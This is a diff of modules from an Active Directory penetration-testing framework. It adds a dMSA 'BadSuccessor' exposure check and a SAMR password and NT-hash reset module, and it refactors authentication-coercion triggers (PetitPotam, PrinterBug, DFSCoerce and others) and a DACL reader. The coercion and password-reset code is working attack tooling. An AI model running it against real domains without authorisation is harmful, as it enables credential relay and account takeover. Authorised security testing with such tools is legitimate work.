"Windows Server 2012 R2": 6,
|
||||
"Windows Server 2016": 7,
|
||||
"Windows Server 2019": 8,
|
||||
"Windows Server 2022": 9,
|
||||
"Windows Server 2025": 10,
|
||||
}
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
-------
|
||||
Module by @mpgn based on https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory#credentials
|
||||
and https://raw.githubusercontent.com/akamai/BadSuccessor/refs/heads/main/Get-BadSuccessorOUPermissions.ps1
|
||||
"""
|
||||
|
||||
name = "badsuccessor"
|
||||
description = "Check if vulnerable to bad successor attack (DMSA)"
|
||||
supported_protocols = ["ldap"]
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def is_excluded_sid(self, sid, domain_sid):
|
||||
if sid in EXCLUDED_SIDS:
|
||||
return True
|
||||
return any(sid.startswith(domain_sid) and sid.endswith(suffix) for suffix in EXCLUDED_SIDS_SUFFIXES)
|
||||
|
||||
def get_domain_sid(self, ldap_session, base_dn):
|
||||
"""Retrieve the domain SID from the domain object in LDAP"""
|
||||
r = ldap_session.search(
|
||||
searchBase=base_dn,
|
||||
searchFilter="(objectClass=domain)",
|
||||
attributes=["objectSid"]
|
||||
)
|
||||
parsed = parse_result_attributes(r)
|
||||
if parsed and "objectSid" in parsed[0]:
|
||||
return parsed[0]["objectSid"]
|
||||
|
||||
def find_bad_successor_ous(self, ldap_session, entries, base_dn):
|
||||
domain_sid = self.get_domain_sid(ldap_session, base_dn)
|
||||
results = {}
|
||||
parsed = parse_result_attributes(entries)
|
||||
for entry in parsed:
|
||||
dn = entry["distinguishedName"]
|
||||
sd_data = entry["nTSecurityDescriptor"]
|
||||
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data)
|
||||
|
||||
for ace in sd["Dacl"]["Data"]:
|
||||
if ace["AceType"] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:
|
||||
continue
|
||||
|
||||
has_relevant_right = False
|
||||
mask = int(ace["Ace"]["Mask"]["Mask"])
|
||||
for right_value in RELEVANT_RIGHTS.values():
|
||||
if mask & right_value:
|
||||
has_relevant_right = True
|
||||
break
|
||||
|
||||
if not has_relevant_right:
|
||||
continue # Skip this ACE if it doesn't have any relevant rights
|
||||
|
||||
object_type = getattr(ace, "ObjectType", None)
|
||||
if object_type:
|
||||
object_guid = ldaptypes.bin_to_string(object_type).lower()
|
||||
if object_guid not in RELEVANT_OBJECT_TYPES:
|
||||
continue
|
||||
|
||||
sid = ace["Ace"]["Sid"].formatCanonical()
|
||||
if self.is_excluded_sid(sid, domain_sid):
|
||||
continue
|
||||
|
||||
results.setdefault(sid, []).append(dn)
|
||||
|
||||
if hasattr(sd, "OwnerSid"):
|
||||
owner_sid = str(sd["OwnerSid"])
|
||||
if not self.is_excluded_sid(owner_sid, domain_sid):
|
||||
results.setdefault(owner_sid, []).append(dn)
|
||||
return results
|
||||
|
||||
def resolve_sid_to_name(self, ldap_session, sid, base_dn):
|
||||
"""
|
||||
Resolves a SID to a samAccountName using LDAP
|
||||
|
||||
Args:
|
||||
----
|
||||
ldap_session: The LDAP connection
|
||||
sid: The SID to resolve
|
||||
base_dn: The base DN for the LDAP search
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The samAccountName if found, otherwise the original SID
|
||||
"""
|
||||
try:
|
||||
search_filter = f"(objectSid={sid})"
|
||||
response = ldap_session.search(
|
||||
searchBase=base_dn,
|
||||
searchFilter=search_filter,
|
||||
attributes=["sAMAccountName"]
|
||||
)
|
||||
|
||||
parsed = parse_result_attributes(response)
|
||||
if parsed and "sAMAccountName" in parsed[0]:
|
||||
return parsed[0]["sAMAccountName"]
|
||||
return sid
|
||||
except Exception:
|
||||
return sid
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Check for a domain controller with Windows Server 2025
|
||||
resp = connection.ldap_connection.search(
|
||||
searchBase=connection.ldap_connection._baseDN,
|
||||
searchFilter="(&(objectCategory=computer)(primaryGroupId=516))",
|
||||
attributes=["operatingSystem", "dNSHostName"]
|
||||
)
|
||||
parsed_resp = parse_result_attributes(resp)
|
||||
|
||||
for dc in parsed_resp:
|
||||
if "2025" in dc["operatingSystem"]:
|
||||
out = connection.resolver(dc["dNSHostName"])
|
||||
dc_ip = out["host"] if out else "Unknown IP"
|
||||
context.log.success(f"Found domain controller with operating system Windows Server 2025: {dc_ip} ({dc['dNSHostName']})")
|
||||
else:
|
||||
context.log.fail("No domain controller with operating system Windows Server 2025 found, attack not possible. Enumerate dMSA objects anyway.")
|
||||
|
||||
# Enumerate dMSA objects
|
||||
controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION
|
||||
resp = connection.ldap_connection.search(
|
||||
searchBase=connection.ldap_connection._baseDN,
|
||||
searchFilter="(objectClass=organizationalUnit)",
|
||||
attributes=["distinguishedName", "nTSecurityDescriptor"],
|
||||
searchControls=controls) # Fixed parameter name
|
||||
|
||||
context.log.debug(f"Found {len(resp)} entries")
|
||||
|
||||
results = self.find_bad_successor_ous(connection.ldap_connection, resp, connection.ldap_connection._baseDN)
|
||||
|
||||
if results:
|
||||
context.log.success(f"Found {len(results)} results")
|
||||
else:
|
||||
context.log.highlight("No account found")
|
||||
|
||||
for sid, ous in results.items():
|
||||
samaccountname = self.resolve_sid_to_name(
|
||||
connection.ldap_connection,
|
||||
sid,
|
||||
connection.ldap_connection._baseDN
|
||||
)
|
||||
|
||||
for ou in ous:
|
||||
if sid == samaccountname:
|
||||
context.log.highlight(f"{sid}, {ou}")
|
||||
else:
|
||||
context.log.highlight(f"{samaccountname} ({sid}), {ou}")
|
||||
@@ -4,12 +4,11 @@ from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -104,7 +103,16 @@ class BitLockerWMI:
|
||||
# Query to get BitLocker status
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {0: "None", 1: "AES_256_WITH_DIFFUSER", 2: "AES_256_WITH_DIFFUSER", 3: "AES_128", 4: "AES_256", 5: "HARDWARE_ENCRYPTION", 6: "XTS_AES_128", 7: "XTS_AES_256"}
|
||||
encryptionTypeMapping = {
|
||||
0: "None",
|
||||
1: "AES_128_WITH_DIFFUSER",
|
||||
2: "AES_256_WITH_DIFFUSER",
|
||||
3: "AES_128",
|
||||
4: "AES_256",
|
||||
5: "HARDWARE_ENCRYPTION",
|
||||
6: "XTS_AES_128",
|
||||
7: "XTS_AES_256_WITH_DIFFUSER"
|
||||
}
|
||||
|
||||
try:
|
||||
while True:
|
||||
|
||||
@@ -0,0 +1,149 @@
|
||||
import sys
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module for changing or resetting user passwords
|
||||
Module by Fagan Afandiyev, termanix and NeffIsBack
|
||||
"""
|
||||
|
||||
name = "change-password"
|
||||
description = "Change or reset user passwords via various protocols"
|
||||
supported_protocols = ["smb"]
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Required (one of):
|
||||
NEWPASS The new password of the user.
|
||||
NEWNTHASH The new NT hash of the user.
|
||||
|
||||
Optional:
|
||||
USER The user account if the target is not the current user.
|
||||
|
||||
Examples
|
||||
--------
|
||||
If STATUS_PASSWORD_MUST_CHANGE or STATUS_PASSWORD_EXPIRED (Change password for current user)
|
||||
netexec smb <DC_IP> -u username -p oldpass -M change-password -o NEWNTHASH='nthash'
|
||||
netexec smb <DC_IP> -u username -H oldnthash -M change-password -o NEWPASS='newpass'
|
||||
|
||||
If want to change other user's password (with forcechangepassword priv or admin rights)
|
||||
netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWPASS='target_user_newpass'
|
||||
netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWNTHASH='target_user_newnthash'
|
||||
"""
|
||||
self.newpass = module_options.get("NEWPASS")
|
||||
self.newhash = module_options.get("NEWNTHASH")
|
||||
self.target_user = module_options.get("USER")
|
||||
|
||||
if not self.newpass and not self.newhash:
|
||||
context.log.fail("Either NEWPASS or NEWNTHASH is required!")
|
||||
sys.exit(1)
|
||||
|
||||
def authenticate(self, context, connection, protocol, anonymous=False):
|
||||
# Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
|
||||
try:
|
||||
# Map to the SAMR endpoint on the target
|
||||
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
if anonymous:
|
||||
rpctransport.set_credentials("", "", "", "", "", "")
|
||||
rpctransport.set_kerberos(False, None)
|
||||
context.log.info("Connecting with null session credentials.")
|
||||
else:
|
||||
rpctransport.set_credentials(
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.domain,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
)
|
||||
context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
|
||||
|
||||
# Connect to the DCE/RPC endpoint and bind to the SAMR service
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
context.log.info("[+] Successfully connected to DCE/RPC")
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
context.log.info("[+] Successfully bound to SAMR")
|
||||
return dce
|
||||
except DCERPCException as e:
|
||||
context.log.fail(f"DCE/RPC Exception: {e!s}")
|
||||
raise
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
target_username = self.target_user or connection.username
|
||||
target_domain = connection.domain
|
||||
|
||||
# Grab all creds from the connection to use for authentication
|
||||
self.oldpass = connection.password
|
||||
self.oldhash = connection.nthash
|
||||
|
||||
new_lmhash, new_nthash = "", ""
|
||||
|
||||
# Parse new hash values if provided
|
||||
if self.newhash:
|
||||
try:
|
||||
new_lmhash, new_nthash = self.newhash.split(":")
|
||||
except ValueError:
|
||||
new_nthash = self.newhash
|
||||
|
||||
try:
|
||||
self.anonymous = False
|
||||
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=self.anonymous)
|
||||
except Exception as e:
|
||||
# Handle specific errors like password expiration or must be change
|
||||
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e):
|
||||
context.log.warning("Password must be changed. Trying with null session.")
|
||||
self.anonymous = True
|
||||
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=self.anonymous)
|
||||
elif "STATUS_LOGON_FAILURE" in str(e):
|
||||
context.log.fail("Authentication failure: wrong credentials.")
|
||||
return False
|
||||
else:
|
||||
raise
|
||||
|
||||
try:
|
||||
# Perform the SMB SAMR password change
|
||||
self._smb_samr_change(context, connection, target_username, target_domain, self.oldhash, self.newpass, new_nthash)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Password change failed: {e}")
|
||||
|
||||
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
|
||||
try:
|
||||
# Reset the password for a different user
|
||||
if target_username != connection.username:
|
||||
user_handle = self._hSamrOpenUser(connection, target_username)
|
||||
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
|
||||
context.log.success(f"Successfully changed password for {target_username}")
|
||||
else:
|
||||
# Change password for the current user
|
||||
if newPassword:
|
||||
# Change the password with new password
|
||||
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
|
||||
else:
|
||||
# Change the password with new hash
|
||||
user_handle = self._hSamrOpenUser(connection, target_username)
|
||||
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
|
||||
context.log.highlight("Note: Target user must change password at next logon.")
|
||||
context.log.success(f"Successfully changed password for {target_username}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"SMB-SAMR password change failed: {e}")
|
||||
finally:
|
||||
self.dce.disconnect()
|
||||
|
||||
def _hSamrOpenUser(self, connection, username):
|
||||
"""Get handle to the user object"""
|
||||
try:
|
||||
# Connect to the target server and retrieve handles
|
||||
server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
|
||||
domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
|
||||
domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
|
||||
user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
|
||||
return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to open user: {e}")
|
||||
+16
-24
@@ -11,8 +11,6 @@ class NXCModule:
|
||||
name = "coerce_plus"
|
||||
description = "Module to check if the Target is vulnerable to any coerce vulns. Set LISTENER IP for coercion."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -221,7 +219,7 @@ class ShadowCoerceTrigger:
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
||||
binding_params = {
|
||||
"Fssagentrpc": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\Fssagentrpc]" % target,
|
||||
"stringBinding": rf"ncacn_np:{target}[\PIPE\Fssagentrpc]",
|
||||
"MSRPC_UUID_FSRVP": ("a8e0653c-2744-4389-a61d-7373df8b2292", "3.0"),
|
||||
},
|
||||
}
|
||||
@@ -338,7 +336,7 @@ class DFSCoerceTrigger:
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
||||
binding_params = {
|
||||
"netdfs": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\netdfs]" % target,
|
||||
"stringBinding": rf"ncacn_np:{target}[\PIPE\netdfs]",
|
||||
"MSRPC_UUID_DFSNM": ("4fc742e0-4a10-11cf-8273-00aa004ae673", "3.0"),
|
||||
},
|
||||
}
|
||||
@@ -509,23 +507,23 @@ class PetitPotamtTrigger:
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
||||
binding_params = {
|
||||
"lsarpc": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\lsarpc]" % target,
|
||||
"stringBinding": rf"ncacn_np:{target}[\PIPE\lsarpc]",
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
"efsrpc": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\efsrpc]" % target,
|
||||
"stringBinding": rf"ncacn_np:{target}[\PIPE\efsrpc]",
|
||||
"MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"),
|
||||
},
|
||||
"samr": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\samr]" % target,
|
||||
"stringBinding": rf"ncacn_np:{target}[\PIPE\samr]",
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
"lsass": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\lsass]" % target,
|
||||
"stringBinding": rf"ncacn_np:{target}[\PIPE\lsass]",
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
"netlogon": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\netlogon]" % target,
|
||||
"stringBinding": rf"ncacn_np:{target}[\PIPE\netlogon]",
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
}
|
||||
@@ -758,17 +756,15 @@ class PrinterBugTrigger:
|
||||
self.context = context
|
||||
|
||||
def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str:
|
||||
string_binding = r"ncacn_ip_tcp:%s[135]" % target
|
||||
string_binding = rf"ncacn_ip_tcp:{target}[135]"
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
self.context.log.debug(
|
||||
"Trying to resolve dynamic endpoint %s" % repr(uuid.bin_to_string(interface))
|
||||
)
|
||||
self.context.log.debug(f"Trying to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}")
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
self.context.log.warning("Failed to connect to endpoint mapper: %s" % e)
|
||||
self.context.log.warning(f"Failed to connect to endpoint mapper: {e}")
|
||||
raise e
|
||||
try:
|
||||
endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
|
||||
@@ -777,17 +773,13 @@ class PrinterBugTrigger:
|
||||
)
|
||||
return endpoint
|
||||
except Exception as e:
|
||||
self.context.log.debug(
|
||||
"Failed to resolve dynamic endpoint %s"
|
||||
% repr(uuid.bin_to_string(interface))
|
||||
)
|
||||
self.context.log.debug(f"Failed to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}")
|
||||
raise e
|
||||
|
||||
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
||||
binding_params = {
|
||||
"spoolss": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\spoolss]" % target,
|
||||
"stringBinding": rf"ncacn_np:{target}[\PIPE\spoolss]",
|
||||
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
|
||||
"port": 445
|
||||
},
|
||||
@@ -835,7 +827,7 @@ class PrinterBugTrigger:
|
||||
|
||||
def exploit(self, dce, listener, target, always_continue, pipe):
|
||||
try:
|
||||
resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target)
|
||||
resp = rprn.hRpcOpenPrinter(dce, f"\\\\{target}\x00")
|
||||
except Exception as e:
|
||||
if str(e).find("Broken pipe") >= 0:
|
||||
# The connection timed-out. Let's try to bring it back next round
|
||||
@@ -853,7 +845,7 @@ class PrinterBugTrigger:
|
||||
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
|
||||
request["hPrinter"] = resp["pHandle"]
|
||||
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
|
||||
request["pszLocalMachine"] = "\\\\%s\x00" % listener
|
||||
request["pszLocalMachine"] = f"\\\\{listener}\x00"
|
||||
request["fdwOptions"] = 0x00000000
|
||||
request["dwPrinterLocal"] = 0
|
||||
dce.request(request)
|
||||
@@ -885,7 +877,7 @@ class PrinterBugTrigger:
|
||||
request = RpcRemoteFindFirstPrinterChangeNotification()
|
||||
request["hPrinter"] = resp["pHandle"]
|
||||
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
|
||||
request["pszLocalMachine"] = "\\\\%s\x00" % listener
|
||||
request["pszLocalMachine"] = f"\\\\{listener}\x00"
|
||||
request["fdwOptions"] = 0x00000000
|
||||
request["dwPrinterLocal"] = 0
|
||||
request["cbBuffer"] = NULL
|
||||
@@ -908,7 +900,7 @@ class MSEvenTrigger:
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
||||
binding_params = {
|
||||
"eventlog": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\eventlog]" % target,
|
||||
"stringBinding": rf"ncacn_np:{target}[\PIPE\eventlog]",
|
||||
"MSRPC_UUID_EVEN": ("82273fdc-e32a-18c3-3f78-827929dc23ea", "0.0"),
|
||||
},
|
||||
}
|
||||
|
||||
+62
-98
@@ -1,16 +1,17 @@
|
||||
import binascii
|
||||
import codecs
|
||||
import json
|
||||
import re
|
||||
import datetime
|
||||
from enum import Enum
|
||||
from impacket.ldap import ldaptypes
|
||||
from impacket.uuid import bin_to_string
|
||||
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
|
||||
from ldap3.protocol.formatters.formatters import format_sid
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from ldap3.utils.conv import escape_filter_chars
|
||||
from ldap3.protocol.microsoft import security_descriptor_control
|
||||
import sys
|
||||
import traceback
|
||||
from os.path import isfile
|
||||
|
||||
OBJECT_TYPES_GUID = {}
|
||||
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
|
||||
@@ -199,8 +200,6 @@ class NXCModule:
|
||||
name = "daclread"
|
||||
description = "Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options."
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -229,12 +228,12 @@ class NXCModule:
|
||||
|
||||
if module_options and "TARGET" in module_options:
|
||||
context.log.debug("There is a target specified!")
|
||||
if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None:
|
||||
if isfile(module_options["TARGET"]):
|
||||
try:
|
||||
self.target_file = open(module_options["TARGET"]) # noqa: SIM115
|
||||
self.target_sAMAccountName = None
|
||||
except Exception:
|
||||
context.log.fail("The file doesn't exist or cannot be openned.")
|
||||
context.log.fail("The file doesn't exist or cannot be opened.")
|
||||
else:
|
||||
context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
|
||||
self.target_sAMAccountName = module_options["TARGET"]
|
||||
@@ -276,37 +275,50 @@ class NXCModule:
|
||||
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
|
||||
self.baseDN = connection.ldap_connection._baseDN
|
||||
self.ldap_session = connection.ldap_connection
|
||||
self.connection = connection
|
||||
self.context = context
|
||||
|
||||
# Searching for the principal SID
|
||||
if self.principal_sAMAccountName is not None:
|
||||
_lookedup_principal = self.principal_sAMAccountName
|
||||
try:
|
||||
self.principal_sid = format_sid(
|
||||
self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
|
||||
attributes=["objectSid"],
|
||||
)[0][1][0][1][0]
|
||||
resp = connection.search(
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(self.principal_sAMAccountName)})",
|
||||
attributes=["objectSid"],
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)[0]
|
||||
self.principal_sid = resp_parsed["objectSid"]
|
||||
context.log.highlight(f"Found principal SID to filter on: {self.principal_sid}")
|
||||
except Exception:
|
||||
context.log.fail(f"Principal SID not found in LDAP ({_lookedup_principal})")
|
||||
sys.exit(1)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Principal SID not found in LDAP ({self.principal_sAMAccountName})")
|
||||
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
|
||||
return
|
||||
|
||||
# Searching for the targets SID and their Security Descriptors
|
||||
# If there is only one target
|
||||
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
|
||||
# Searching for target account with its security descriptor
|
||||
try:
|
||||
self.search_target_principal_security_descriptor(context, connection)
|
||||
# Searching for target account with its security descriptor
|
||||
if self.target_sAMAccountName: # noqa: SIM108
|
||||
search_filter = f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})"
|
||||
else:
|
||||
search_filter = f"(distinguishedName={escape_filter_chars(self.target_DN)})"
|
||||
|
||||
resp = connection.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=["distinguishedName", "nTSecurityDescriptor"],
|
||||
searchControls=security_descriptor_control(sdflags=0x04),
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)[0]
|
||||
|
||||
# Extract security descriptor data
|
||||
self.target_principal_dn = self.target_principal[0]
|
||||
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
|
||||
self.target_principal_dn = resp_parsed["distinguishedName"]
|
||||
self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
|
||||
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
|
||||
context.log.highlight(f"Target principal found in LDAP ({self.target_principal[0]})")
|
||||
except Exception:
|
||||
context.log.highlight(f"Target principal found in LDAP ({self.target_principal_dn})")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
|
||||
sys.exit(1)
|
||||
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
|
||||
return
|
||||
|
||||
if self.action == "read":
|
||||
self.read(context)
|
||||
@@ -320,10 +332,16 @@ class NXCModule:
|
||||
try:
|
||||
self.target_sAMAccountName = target.strip()
|
||||
# Searching for target account with its security descriptor
|
||||
self.search_target_principal_security_descriptor(context, connection)
|
||||
resp = connection.search(
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})",
|
||||
attributes=["distinguishedName", "nTSecurityDescriptor"],
|
||||
searchControls=security_descriptor_control(sdflags=0x04),
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)[0]
|
||||
|
||||
# Extract security descriptor data
|
||||
self.target_principal_dn = self.target_principal[0]
|
||||
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
|
||||
self.target_principal_dn = resp_parsed["distinguishedName"]
|
||||
self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
|
||||
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
|
||||
context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
|
||||
except Exception:
|
||||
@@ -357,83 +375,31 @@ class NXCModule:
|
||||
context.log.highlight("DACL backed up to %s", self.filename)
|
||||
self.filename = None
|
||||
|
||||
# Attempts to retrieve the DACL in the Security Descriptor of the specified target
|
||||
def search_target_principal_security_descriptor(self, context, connection):
|
||||
_lookedup_principal = ""
|
||||
# Set SD flags to only query for DACL
|
||||
controls = security_descriptor_control(sdflags=0x04)
|
||||
if self.target_sAMAccountName is not None:
|
||||
_lookedup_principal = self.target_sAMAccountName
|
||||
target = self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
|
||||
attributes=["nTSecurityDescriptor"],
|
||||
searchControls=controls,
|
||||
)
|
||||
if self.target_DN is not None:
|
||||
_lookedup_principal = self.target_DN
|
||||
target = self.ldap_session.search(
|
||||
searchBase=_lookedup_principal,
|
||||
searchFilter=f"(distinguishedName={_lookedup_principal})",
|
||||
attributes=["nTSecurityDescriptor"],
|
||||
searchControls=controls,
|
||||
)
|
||||
try:
|
||||
self.target_principal = target[0]
|
||||
except Exception:
|
||||
context.log.fail(f"Principal not found in LDAP ({_lookedup_principal}), probably an LDAP session issue.")
|
||||
sys.exit(0)
|
||||
|
||||
# Attempts to retrieve the SID and Distinguisehd Name from the sAMAccountName
|
||||
# Not used for the moment
|
||||
# - samname : a sAMAccountName
|
||||
def get_user_info(self, context, samname):
|
||||
self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(samname)})",
|
||||
attributes=["objectSid"],
|
||||
)
|
||||
try:
|
||||
dn = self.ldap_session.entries[0].entry_dn
|
||||
sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0])
|
||||
return dn, sid
|
||||
except Exception:
|
||||
context.log.fail(f"User not found in LDAP: {samname}")
|
||||
return False
|
||||
|
||||
# Attempts to resolve a SID and return the corresponding samaccountname
|
||||
# - sid : the SID to resolve
|
||||
def resolveSID(self, context, sid):
|
||||
def resolveSID(self, sid):
|
||||
"""Resolves a SID to its corresponding sAMAccountName."""
|
||||
# Tries to resolve the SID from the well known SIDs
|
||||
if sid in WELL_KNOWN_SIDS:
|
||||
return WELL_KNOWN_SIDS[sid]
|
||||
|
||||
# Tries to resolve the SID from the LDAP domain dump
|
||||
else:
|
||||
try:
|
||||
self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName"],
|
||||
)[0][0]
|
||||
return self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName"],
|
||||
)[0][1][0][1][0]
|
||||
except Exception:
|
||||
context.log.debug(f"SID not found in LDAP: {sid}")
|
||||
return ""
|
||||
try:
|
||||
resp = self.connection.search(
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName"],
|
||||
)
|
||||
return parse_result_attributes(resp)[0]["sAMAccountName"]
|
||||
except Exception:
|
